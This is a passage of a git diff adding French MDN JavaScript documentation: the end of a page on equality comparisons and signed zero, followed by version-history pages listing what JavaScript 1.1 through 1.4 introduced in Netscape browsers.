+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>new String('toto')</code></td>
+   <td><code>new String('toto')</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>null</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>0</code></td>
+   <td><code>NaN</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>'toto'</code></td>
+   <td><code>NaN</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+  </tr>
+  <tr>
+   <td><code>NaN</code></td>
+   <td><code>NaN</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(255, 144, 144); text-align: center;"><code>false</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+   <td style="background-color: rgb(144, 255, 144); text-align: center;"><code>true</code></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Quand_utiliser_jsxrefObject.is_et_quand_utiliser_légalité_stricte">Quand utiliser {{jsxref("Object.is")}} et quand utiliser l'égalité stricte</h2>
+
+<p>En plus de la façon dont {{jsxref("Object.is")}} traite <code>NaN</code>, la spécificité d'<code>Object.is()</code> réside dans sa façon de traiter les valeurs proches de zéro. Dans des cas d'utilisation où on a besoin d'effectuer de la méta-programmation, notamment pour imiter certaines caractéristiques de {{jsxref("Object.defineProperty")}}. Si le scénario d'utilisation ne nécessite pas ce comportement, il est conseillé d'utiliser <a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#.C3.89galit.C3.A9_stricte_(.3D.3D.3D)"><code>===</code></a>. Même si on souhaite pouvoir comparer <code>NaN</code> avec lui-même et que ce test vaille <code>true</code>, il sera plus simple d'utiliser la méthode {{jsxref("isNaN")}} disponible avec les versions antérieures d'ECMAScript. En effet, cela évite d'avoir à traiter des cas plus complexes où il faudrait gérer les signes des zéros dans les différentes comparaisons.</p>
+
+<p>Voici une liste (non exhaustive) d'opérateurs et de méthodes natives qui peuvent entraîner l'apparition des valeurs <code>-0</code> et <code>+0</code> dans le code :</p>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_arithmétiques#Négation_unaire"><code>-</code> (négation unaire)</a></dt>
+</dl>
+
+<dl>
+ <dd>
+ <p>Si on prend l'opposé de <code>0</code>, on aura, bien entendu,<code>-0</code>. Cependant, avec les expressions, cela peut faire que la valeur <code>-0</code> se glisse dans les variables sans qu'on s'en rende compte. Par exemple :</p>
+
+ <pre class="brush:js">let forceArrêt = obj.masse * -obj.vitesse</pre>
+
+ <p>Si <code>obj.vitesse</code> vaut <code>0</code> (ou est évalué à <code>0</code>), un <code>-0</code> sera introduit, ce qui fera que <code>forceArrêt</code> pourra être négative.</p>
+ </dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Math.atan2")}}<br>
+ {{jsxref("Math.ceil")}}<br>
+ {{jsxref("Math.pow")}}<br>
+ {{jsxref("Math.round")}}</dt>
+</dl>
+
+<dl>
+ <dd>Ces méthodes peuvent introduire <code>-0</code> dans une expression lors de leur évaluation, même si <code>-0</code> ne faisait pas partie des paramètres. Par exemple, si on utilise <code>Math.pow()</code> pour élever {{jsxref("Infinity", "-Infinity")}} à une puissance négative, on obtiendra <code>-0</code> pour une puissance impaire. Pour plus de détails, voir la documentation de chaque méthode.</dd>
+</dl>
+
+<dl>
+ <dt>{{jsxref("Math.floor")}}<br>
+ {{jsxref("Math.max")}}<br>
+ {{jsxref("Math.min")}}<br>
+ {{jsxref("Math.sin")}}<br>
+ {{jsxref("Math.sqrt")}}<br>
+ {{jsxref("Math.tan")}}</dt>
+</dl>
+
+<dl>
+ <dd>Ces méthodes peuvent renvoyer <code>-0</code> dans certains cas où <code>-0</code> est passé en paramètre. Par exemple, <code>Math.min(-0, +0)</code> fournira <code>-0</code>. Pour plus de détails, voir la documentation de chaque méthode.</dd>
+</dl>
+
+<dl>
+ <dt><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#.7E_.28NON_binaire.29">~</a></code></dt>
+ <dt><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#.3C.3C_.28d.C3.A9calage_.C3.A0_gauche.29">&lt;&lt;</a></code></dt>
+ <dt><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_binaires#.3E.3E_.28d.C3.A9calage_.C3.A0_droite_avec_propagation_du_signe.29">&gt;&gt;</a></code></dt>
+ <dd>Chacun de ces opérateurs utilise l'algorithme ToInt32 interne au moteur JavaScript. Étant donné qu'il n'y a qu'une seule représentation pour 0 sur les entiers exprimés avec le type interne sur 32 bits, <code>-0</code> ne sera pas invariant pour deux opérations symétriques : <code>Object.is(~~(-0), -0)</code> et <code>Object.is(-0 &lt;&lt; 2 &gt;&gt; 2, -0)</code> renverront tous les deux <code>false</code>.</dd>
+</dl>
+
+<p>Si on utilise {{jsxref("Object.is")}} et qu'on ne souhaite pas gérer les cas aux limites autour de zéro, cela peut avoir des effet indésirés. En revanche, si on souhaite effectivement comparer <code>-0</code> et <code>+0</code>, c'est la méthode à adopter.</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://dorey.github.io/JavaScript-Equality-Table/">Tableau des comparaisons en JavaScript</a></li>
+</ul>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.1/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.1/index.html
new file mode 100644
index 0000000000..f5f42abe9d
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.1/index.html
@@ -0,0 +1,76 @@
+---
+title: Nouveautés de JavaScript 1.1
+slug: Web/JavaScript/Nouveautés_et_historique_de_JavaScript/1.1
+tags:
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.1
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Ce document liste les modifications apportées à JavaScript entre Netscape Navigator 2.0 et 3.0. L'ancienne documentation Netscape décrit ceci comme <a href="http://web.archive.org/web/20060318153542/wp.netscape.com/eng/mozilla/3.0/handbook/javascript/index.html">« les fonctionnalités ajoutées après la version 1 »</a>. Netscape Navigator 3.0 est sorti le 19 août 1996. Netscape Navigator 3.0 était la deuxième version majeure du navigateur à supporter JavaScript.</p>
+
+<h2 id="Versions_de_JavaScript">Versions de JavaScript</h2>
+
+<p>Netscape Navigator 3.0 a introduit des versions pour le langage JavaScript :</p>
+
+<pre class="brush: html">&lt;SCRIPT LANGUAGE="JavaScript"&gt;    &lt;!-- JavaScript pour Navigator 2.0. --&gt;
+&lt;SCRIPT LANGUAGE="JavaScript1.1"&gt; &lt;!-- JavaScript pour Navigator 3.0. --&gt;</pre>
+
+<h2 id="Nouvelles_fonctionnalités_de_JavaScript_1.1">Nouvelles fonctionnalités de JavaScript 1.1</h2>
+
+<h3 id="Nouveaux_objets">Nouveaux objets</h3>
+
+<ul>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Boolean")}}</li>
+ <li>{{jsxref("Function")}}</li>
+ <li>{{jsxref("Number")}}</li>
+</ul>
+
+<h3 id="Nouvelles_propriétés">Nouvelles propriétés</h3>
+
+<ul>
+ <li>{{jsxref("Number.MAX_VALUE")}}</li>
+ <li>{{jsxref("Number.MIN_VALUE")}}</li>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Number.NEGATIVE_INFINITY")}}</li>
+ <li>{{jsxref("Number.POSITIVE_INFINITY")}}</li>
+</ul>
+
+<h3 id="Nouvelles_méthodes">Nouvelles méthodes</h3>
+
+<ul>
+ <li>{{jsxref("Array.prototype.join()")}}</li>
+ <li>{{jsxref("Array.prototype.reverse()")}}</li>
+ <li>{{jsxref("Array.prototype.sort()")}}</li>
+ <li>{{jsxref("Array.prototype.split()")}}</li>
+</ul>
+
+<h3 id="Nouveaux_opérateurs">Nouveaux opérateurs</h3>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_typeof">typeof</a></code></li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_void">void</a></code></li>
+</ul>
+
+<h3 id="Autres_fonctionnalités_apparues">Autres fonctionnalités apparues</h3>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/HTML/Element/noscript">&lt;noscript&gt;</a></code></li>
+ <li><a href="/en-US/docs/Archive/Web/LiveConnect">LiveConnect</a> pour effectuer des communications entre Java et JavaScript.</li>
+</ul>
+
+<h2 id="Fonctionnalités_modifiées_avec_JavaScript_1.1">Fonctionnalités modifiées avec JavaScript 1.1</h2>
+
+<ul>
+ <li>Suppression d'objet : il est possible de retirer un objet en faisant pointer sa référence vers <code>null</code>.</li>
+ <li>Les propriétés <code>constructor</code> et <code>prototype</code> sont ajoutées sur les objets.</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/eval">eval()</a></code> est désormais une méthode de chaque objet (ce n'est plus une fonction native). Elle évalue une chaîne de code JavaScript dans le contexte de l'objet donné.</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Math/random">Math.random()</a></code> fonctionne pour toutes les plateformes.</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/toString">toString()</a></code> : Ajout du paramètre permettant de spécifier la base dans laquelle représenter les valeurs numériques.</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/isNaN">isNaN()</a></code> fonctionne pour toutes les plateformes (et plus seulement sur Unix)</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/parseFloat">parseFloat()</a></code> et <code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/parseInt">parseint()</a></code> renvoient désormais <code>NaN</code> sur toutes les plateformes si le premier caractère de la chaîne fournie ne peut pas être converti en un nombre. Auparavant, elles renvoyaient <code>NaN</code> sur Solaris et Irix et zéro (0) sur les autres plateformes.</li>
+</ul>
+
+<p> </p>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.2/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.2/index.html
new file mode 100644
index 0000000000..c5d42ee62b
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.2/index.html
@@ -0,0 +1,92 @@
+---
+title: Nouveautés de JavaScript 1.2
+slug: Web/JavaScript/Nouveautés_et_historique_de_JavaScript/1.2
+tags:
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.2
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Ce document liste les modifications apportées à JavaScript entre Netscape Navigator 3.0 et Netscape Navigator 4.0. L'ancienne documentation de Netscape peut être consultée sur <a href="http://web.archive.org/web/19971015223714/http://developer.netscape.com/library/documentation/communicator/jsguide/js1_2.htm">archive.org</a>. Netscape Navigator 4.0 est sorti le 11 juin 1997. Netscape Navigator 4.0 était la troisième version majeure du navigateur à supporter JavaScript.</p>
+
+<h2 id="Versions_de_JavaScript">Versions de JavaScript</h2>
+
+<p>Netscape Navigator 4.0 permet d'exécuter les versions de JavaScript inférieures ou égales à 1.2. On notera que Netscape Navigator 3.0, ainsi que les versions antérieures, ignoraient les scripts dont l'attribut <code>LANGUAGE</code> correspondait à "JavaScript1.2" ou à une autre version ultérieure.</p>
+
+<pre class="brush: html">&lt;SCRIPT LANGUAGE="JavaScript1.1"&gt; &lt;!-- JavaScript pour Navigator 3.0. --&gt;
+&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt; &lt;!-- JavaScript pour Navigator 4.0. --&gt;</pre>
+
+<h2 id="Nouvelles_fonctionnalités_de_JavaScript_1.2">Nouvelles fonctionnalités de JavaScript 1.2</h2>
+
+<h3 id="Nouveaux_objets">Nouveaux objets</h3>
+
+<ul>
+ <li>Il est possible de créer des objets avec des littéraux (nouvelle notation inspirée par la syntaxe pour les littéraux des dictionnaires de Python 1.x)</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions_et_portee_des_fonctions/arguments">arguments</a></code></li>
+ <li>Les tableaux (<em>arrays</em>) peuvent être créés avec des littéraux (nouvelle notation inspirée par la syntaxe littérale de Python 1.x).</li>
+</ul>
+
+<h3 id="Nouvelles_propriétés">Nouvelles propriétés</h3>
+
+<ul>
+ <li>{{jsxref("Function.arity")}}</li>
+</ul>
+
+<h3 id="Nouvelles_méthodes">Nouvelles méthodes</h3>
+
+<ul>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.charCodeAt()")}}</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("String.fromCharCode()")}}</li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.replace()")}}</li>
+ <li>{{jsxref("String.prototype.search()")}}</li>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+</ul>
+
+<h3 id="Nouveaux_opérateurs">Nouveaux opérateurs</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/L_opérateur_delete"><code>delete</code></a></li>
+ <li><a href="/en-US/docs/Web/JavaScript/Equality_comparisons_and_when_to_use_them">Opérateurs d'égalité</a> (<code>==</code> et <code>!=</code>)</li>
+</ul>
+
+<h3 id="Nouvelles_instructions">Nouvelles instructions</h3>
+
+<ul>
+ <li><a href="/fr/docs/JavaScript/Reference/Instructions/label">Instructions étiquetées (<em>labeled</em>)</a></li>
+ <li><a href="/fr/docs/JavaScript/Reference/Instructions/switch"><code>switch</code></a></li>
+ <li><a href="/fr/docs/JavaScript/Reference/Instructions/do...while"><code>do...while</code></a></li>
+ <li><a href="/fr/docs/JavaScript/Reference/Instructions/import"><code>import</code></a></li>
+ <li><a href="/fr/docs/JavaScript/Reference/Instructions/export"><code>export</code></a></li>
+</ul>
+
+<h3 id="Nouvelles_fonctionnalités_supplémentaires">Nouvelles fonctionnalités supplémentaires</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Guide/Expressions_régulières">Les expressions rationnelles</a></li>
+ <li><a href="http://web.archive.org/web/19971015223714/http://developer.netscape.com/library/documentation/communicator/jsguide/js1_2.htm">Les scripts signés</a></li>
+</ul>
+
+<h2 id="Les_fonctionnalités_modifiées_avec_JavaScript_1.2">Les fonctionnalités modifiées avec JavaScript 1.2</h2>
+
+<ul>
+ <li>Il est possible d'avoir des fonctions imbriquées dans des fonctions.</li>
+ <li><code>Number</code> peut convertir un objet donné en un nombre.</li>
+ <li><code>Number</code> produira désormais <code>NaN</code> plutôt qu'une erreur si une chaîne <code>x</code> ne contient pas de littéral numérique bien formé.</li>
+ <li><code>String</code> peut convertir un objet donné en une chaîne de caractères.</li>
+ <li>{{jsxref("Array.prototype.sort()")}} fonctionne sur toutes les plateformes. Les éléments <code>undefined</code> ne sont plus convertis en <code>null</code> et ceux-ci sont placés au début du tableau.</li>
+ <li>{{jsxref("String.prototype.split()")}}
+  <ul>
+   <li>La méthode peut désormais prendre une expression rationnellle comme argument. L'argument peut également être une chaîne de caractères donnée, selon laquelle découper l'objet <code>String</code>.</li>
+   <li>La méthode peut prendre en compte un seuil, qui permet de ne pas inclure les éléments vides de la fin du tableau créé.</li>
+  </ul>
+ </li>
+ <li>{{jsxref("String.prototype.substring()")}}: la méthode n'échange pas les deux indices utilisés si le premier est supérieur au second.</li>
+ <li><code>toString() </code>:  permet de convertir un objet ou un tableau en une chaîne de caractères qui est un littéral.</li>
+ <li>Les instructions <a href="/fr/docs/JavaScript/Reference/Instructions/break"><code>break</code></a> et <a href="/fr/docs/JavaScript/Reference/Instructions/continue"><code>continue</code></a> peuvent être utilisés avec les instructions étiquetées (<em>labeled statements</em>).</li>
+</ul>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.3/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.3/index.html
new file mode 100644
index 0000000000..19bb50046e
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.3/index.html
@@ -0,0 +1,141 @@
+---
+title: Nouveautés de JavaScript 1.3
+slug: Web/JavaScript/Nouveautés_et_historique_de_JavaScript/1.3
+tags:
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.3
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Le document qui suit est un journal des modifications concernant JavaScript entre les versions de Netscape Navigator 4.0 et 4.5. L'ancienne documentation de Netscape peut être consultée sur <a href="http://web.archive.org/web/20000815081640/http://developer.netscape.com/docs/manuals/communicator/jsref/js13.html">archive.org</a>. Netscape Navigator 4.5 est sorti le 19 octobre 1998.</p>
+
+<p>Le changement le plus important concernant JavaScript 1.3 fut la conformité avec ECMA-262 et Unicode grâce au retrait des incohérences entre JavaScript 1.2 et le nouveau standard ECMA (publié en juin 1997). Certaines fonctionnalités supplémentaires de la version 1.2, non définies par ECMA-262, furent conservées dans le langage JavaScript (voir ci-après la liste des différences).</p>
+
+<h2 id="Versions_de_JavaScript">Versions de JavaScript</h2>
+
+<p>Netscape Communicator et Navigator 4.06 et 4.5 exécutent les versions de JavaScript inférieures ou égales à 1.3. Les versions de Communicator et Navigator 4.0-4.05 et inférieures ignoraient les scripts dont l'attribut LANGUAGE avait la valeur "JavaScript1.3" ou supérieur.</p>
+
+<pre class="brush: html">&lt;SCRIPT LANGUAGE="JavaScript1.2"&gt; &lt;!-- JavaScript pour Navigator 4.0. --&gt;
+&lt;SCRIPT LANGUAGE="JavaScript1.3"&gt; &lt;!-- JavaScript pour Navigator 4.5. --&gt;</pre>
+
+<h2 id="Nouvelles_fonctionnalités_de_JavaScript_1.3">Nouvelles fonctionnalités de JavaScript 1.3</h2>
+
+<h3 id="Nouveaux_objets_globaux">Nouveaux objets globaux</h3>
+
+<ul>
+ <li>{{jsxref("NaN")}}</li>
+ <li>{{jsxref("Infinity")}}</li>
+ <li>{{jsxref("undefined")}}</li>
+</ul>
+
+<h3 id="Nouvelles_méthodes">Nouvelles méthodes</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/isFinite"><code>isFinite()</code></a></li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Date.UTC()")}}</li>
+ <li>{{jsxref("Date.prototype.getFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.getUTCMilliseconds()")}}</li>
+ <li>{{jsxref("Date.prototype.toUTCString()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCFullYear()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMonth()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCDate()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCHours()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMinutes()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCSeconds()")}}</li>
+ <li>{{jsxref("Date.prototype.setUTCMilliseconds()")}}</li>
+</ul>
+
+<h3 id="Nouvelles_fonctionnalités_supplémentaires">Nouvelles fonctionnalités supplémentaires</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#Utilisation_des_op.C3.A9rateurs_d.27.C3.A9galit.C3.A9" title="JavaScript/Reference/Operators/Comparison_Operators#Using_the_Equality_Operators">Opérateurs d'égalité stricte</a></li>
+ <li>Support d'Unicode</li>
+ <li>Une console JavaScript a été introduite</li>
+</ul>
+
+<h2 id="Les_fonctionnalités_modifiées_avec_JavaScript_1.3">Les fonctionnalités modifiées avec JavaScript 1.3</h2>
+
+<ul>
+ <li>Modifications à l'objet <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Date" title="JavaScript/Reference/Global_Objects/Date"><code>Date</code></a> pour qu'il soit conforme avec ECMA-262
+
+  <ul>
+   <li>Nouveau constructeur <code>Date(year, month, day, [,<em>hours</em> [<em>, minutes</em> [<em>, seconds</em> [<em>, milliseconds</em> ]]]])</code></li>
+   <li>Arguments supplémentaires pour les méthodes
+    <ul>
+     <li><code>setMonth(month[, date])</code></li>
+     <li><code>setHours(hours[, min[, sec[, ms]]])</code></li>
+     <li><code>setMinutes(min[, sec[, ms]])</code></li>
+     <li><code>setSeconds(sec[, ms])</code></li>
+    </ul>
+   </li>
+  </ul>
+ </li>
+ <li>La longueur d'un tableau (la propriété <code>length</code>) est désormais un entier non signé sur 32 bits.</li>
+ <li>{{jsxref("Array.prototype.push()")}} : avec JavaScript 1.2, la méthode <code>push</code> renvoyait le dernier élément ajouté au tableau. Avec JavaScript 1.3, <code>push</code> renvoie la nouvelle longueur.</li>
+ <li>{{jsxref("Array.prototype.splice()")}} : Avec JavaScript 1.2, la méthode <code>splice</code> renvoyait l'élément supprimé si un seul élément était supprimé (le paramètre <code>howMany</code> valait <code>1</code>). Avec JavaScript 1.3, <code>splice</code> renvoie toujours un tableau avec les éléments retirés. Si un seul élément est retiré, un tableau constitué d'un seul élément sera renvoyé.</li>
+ <li><a href="http://web.archive.org/web/20000815081640/http://developer.netscape.com/docs/manuals/communicator/jsref/js13.html#replace">Modifications apportées</a> à <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/String/replace"><code>String.prototype.replace()</code></a>.</li>
+ <li><a href="http://web.archive.org/web/20000815081640/http://developer.netscape.com/docs/manuals/communicator/jsref/js13.html#Boolean">Modifications apportées</a> à l'objet  <a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Boolean"><code>Boolean</code></a>.</li>
+ <li><a href="http://web.archive.org/web/20000815081640/http://developer.netscape.com/docs/manuals/communicator/jsref/js13.html#toString">Modifications apportées</a> à la méthode <code>toString()</code>.</li>
+</ul>
+
+<h2 id="Les_fonctionnalités_de_JavaScript_1.3_hors_d'ECMA-262">Les fonctionnalités de JavaScript 1.3 hors d'ECMA-262</h2>
+
+<p>Les listes qui suivent comparent la version d'ECMA-262 avant juin 1998 et JavaScript 1.3. Les fonctionnalités qui suivent ne faisaient pas parties du standard mais furent implémentées avec JavaScript 1.3.</p>
+
+<h3 id="Les_opérateurs_et_mots-clés">Les opérateurs et mots-clés</h3>
+
+<ul>
+ <li><a href="/fr/docs/Web/JavaScript/Reference/Opérateurs/Opérateurs_de_comparaison#Utilisation_des_op.C3.A9rateurs_d.27.C3.A9galit.C3.A9">Les opérateurs d'égalité stricte</a></li>
+ <li>La tabulation verticale (<code>\v</code> ou <code>\u000B</code>) en tant que séquence d'échappement</li>
+</ul>
+
+<h3 id="Les_instructions">Les instructions</h3>
+
+<ul>
+ <li><a href="/fr/docs/JavaScript/Reference/Instructions/label"><code>label</code></a></li>
+ <li><a href="/fr/docs/JavaScript/Reference/Instructions/switch"><code>switch</code></a></li>
+ <li><a href="/fr/docs/JavaScript/Reference/Instructions/do...while"><code>do...while</code></a></li>
+ <li><a href="/fr/docs/JavaScript/Reference/Instructions/export"><code>export</code></a></li>
+ <li><a href="/fr/docs/JavaScript/Reference/Instructions/import"><code>import</code></a></li>
+</ul>
+
+<h3 id="Les_objets_natifs">Les objets natifs</h3>
+
+<ul>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
+
+<h3 id="Les_méthodes_d'objets_natifs">Les méthodes d'objets natifs</h3>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/toSource">toSource()</a></code></li>
+ <li>{{jsxref("Object.prototype.watch()")}}</li>
+ <li>{{jsxref("Object.prototype.unwatch()")}}</li>
+ <li>{{jsxref("Function.arity")}}</li>
+ <li>{{jsxref("Function.prototype.apply()")}}</li>
+ <li>{{jsxref("Function.prototype.call()")}}</li>
+ <li>{{jsxref("Array.prototype.concat()")}}</li>
+ <li>{{jsxref("Array.prototype.pop()")}}</li>
+ <li>{{jsxref("Array.prototype.push()")}}</li>
+ <li>{{jsxref("Array.prototype.shift()")}}</li>
+ <li>{{jsxref("Array.prototype.slice()")}}</li>
+ <li>{{jsxref("Array.prototype.splice()")}}</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("String.prototype.concat()")}}</li>
+ <li>{{jsxref("String.prototype.match()")}}</li>
+ <li>{{jsxref("String.prototype.search()")}}</li>
+ <li>{{jsxref("String.prototype.slice()")}}</li>
+ <li>{{jsxref("String.prototype.substr()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.4/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.4/index.html
new file mode 100644
index 0000000000..990ecbe991
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.4/index.html
@@ -0,0 +1,28 @@
+---
+title: Nouveautés de JavaScript 1.4
+slug: Web/JavaScript/Nouveautés_et_historique_de_JavaScript/1.4
+tags:
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.4
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
+<p>Ce document liste les modifications apportées avec JavaScript 1.4 qui fut uniquement utilisé côté serveur pour Nescape, il fut sorti en 1999. L'ancienne documentation pour Netscape peut être trouvée sur <a href="http://web.archive.org/web/20040802225238/http://developer.netscape.com/docs/manuals/js/core/jsref/index.htm">archive.org</a>.</p>
+
+<h2 id="Nouvelles_fonctionnalités_de_JavaScript_1.4">Nouvelles fonctionnalités de JavaScript 1.4</h2>
+
+<ul>
+ <li>Gestion des exceptions (<a href="/fr/docs/Web/JavaScript/Reference/Instructions/throw"><code>throw</code></a> et <a href="/fr/docs/Web/JavaScript/Reference/Instructions/try...catch"><code>try...catch</code></a>)</li>
+ <li>L'opérateur <code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/L_op%C3%A9rateur_in">in</a></code></li>
+ <li>L'opérateur <code><a href="/fr/docs/Web/JavaScript/Reference/Op%C3%A9rateurs/instanceof">instanceof</a></code></li>
+</ul>
+
+<h2 id="Les_fonctionnalités_modifiées_avec_JavaScript_1.4">Les fonctionnalités modifiées avec JavaScript 1.4</h2>
+
+<ul>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/eval">eval()</a></code> (ne peut être appelé indirectement et n'est plus une méthode d'<code>Object</code>)</li>
+ <li><code><a href="/fr/docs/Web/JavaScript/Reference/Fonctions/arguments">arguments</a></code> n'est pas une propriété des fonctions</li>
+ <li>{{jsxref("Function.arity")}} est déprécié pour être remplacé par {{jsxref("Function.length")}}</li>
+ <li>Diverses modifications apportées à <a href="/en-US/docs/Archive/Web/LiveConnect">LiveConnect</a></li>
+</ul>
diff --git a/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.5/index.html b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.5/index.html
new file mode 100644
index 0000000000..6b506a0ba6
--- /dev/null
+++ b/files/fr/web/javascript/nouveautés_et_historique_de_javascript/1.5/index.html
@@ -0,0 +1,40 @@
+---
+title: Nouveautés de JavaScript 1.5
+slug: Web/JavaScript/Nouveautés_et_historique_de_JavaScript/1.5
+tags:
+  - JavaScript
+  - Versions
+translation_of: Archive/Web/JavaScript/New_in_JavaScript/1.5
+---
+<div>{{jsSidebar("New_in_JS")}}</div>
+
